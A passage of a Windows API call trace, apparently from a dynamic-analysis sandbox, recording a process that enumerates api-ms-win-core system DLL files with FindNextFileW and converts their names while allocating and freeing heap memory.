(HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa8c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.724] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xa8c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.724] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xa8c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.724] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.724] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xa8c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0248.724] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.725] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa8c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.725] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa8c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.725] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.725] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.725] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.726] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa8c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.726] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xa8c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.726] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa8c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0248.726] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.726] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.726] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa8c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.727] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa8c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.727] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.727] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.727] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.728] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.728] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.728] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.728] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, 